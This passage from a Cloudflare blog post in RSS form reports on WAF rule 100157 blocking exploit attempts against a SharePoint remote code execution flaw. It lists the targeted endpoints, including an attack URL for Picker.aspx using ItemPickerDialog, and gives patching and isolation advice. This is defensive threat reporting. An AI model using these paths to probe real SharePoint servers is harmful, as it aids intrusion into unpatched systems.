    <p>When we first deployed the rule in log mode, we did not initially see many hits, other than a hundred probes later that evening.</p><p>We believe this was largely due to the unknowns of the vulnerability and its exploitation, as a number of conditions had to be met to craft a working exploit that are not yet widely known.</p><p>It wasn’t until after we had set the rule in default drop mode, that we saw the attacks really start to ramp up. On Monday the 13th we observed our first exploit attempts, and on the 14th saw what we believe to be individuals manually attempting to exploit sites for this vulnerability.</p><p>Given this was a weekend, it realistically gives you 1 working day to have rolled out a patch across your organisation, before malicious actors started attempting to exploit this vulnerability.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3QlsLteHH44MkRYSLMRRku/e4c2ac64fbf1396c0b037a076add43c3/5-1.png" />
            
            </figure><p>Figure 5: Depicts requests matched, rule 100157 was set as default block early 13th May.</p><p>Further into the week, we started seeing smaller spikes for the rule. And on the 16th May, the same day the UK’s NCSC put out an <a href="https://www.ncsc.gov.uk/news/alert-microsoft-sharepoint-remote-code-vulnerability">alert</a> reporting of highly successful exploitation attempts against UK organisations, thousands of requests were dropped, primarily launched at larger enterprises and government entities.</p><p>This is often the nature of such targeted attacks, malicious actors will try to automate exploits to have the biggest possible impact, and that’s exactly what we saw here.</p><p>So far into our analysis, we’ve seen malicious hits for the following paths:</p><ul><li><p>/_layouts/15/Picker.aspx</p></li><li><p>/_layouts/Picker.aspx</p></li><li><p>/_layouts/15/downloadexternaldata.aspx</p></li></ul><p>The bulk of attacks we’ve seen have been targeting the unauthenticated Picker.aspx endpoint as one would expect, using the ItemPickerDialog type:</p>
            <pre><code>/_layouts/15/picker.aspx?PickerDialogType=Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog</code></pre>
            <p>We expect the vulnerability to be exploited more when a complete exploit is publicly available, so it is important to update your systems if you have not already. We also recommend isolating these systems to the internal network in cases they do not need to be external facing, in order to avoid an unnecessary attack surface.</p><p>Sometimes it’s not practical to isolate such systems to an internal network, this is usually the case for global organisations, with teams spanning multiple locations. In these cases, we highly recommend putting these systems behind an access management solution, like <a href="https://www.cloudflare.com/products/cloudflare-access/">Cloudflare Access</a>. This gives you granular control over who can access resources, and has the additional benefit of auditing user access.</p><p>Microsoft initially released a patch, but it did not address all vulnerable functions, therefore customers were left vulnerable with the only options being to virtually patch their systems or shut their services down entirely until an effective fix became available.</p><p>This is a prime example of why firewalls like Cloudflare’s <a href="https://www.cloudflare.com/waf/">WAF</a> are critical to keeping a business online. Sometimes patching is not an option, and even when it is, it can take time to roll out effectively across an enterprise.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">2UiNSv8S5PJrgWOoLhFyAH</guid>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
    </channel>
</rss>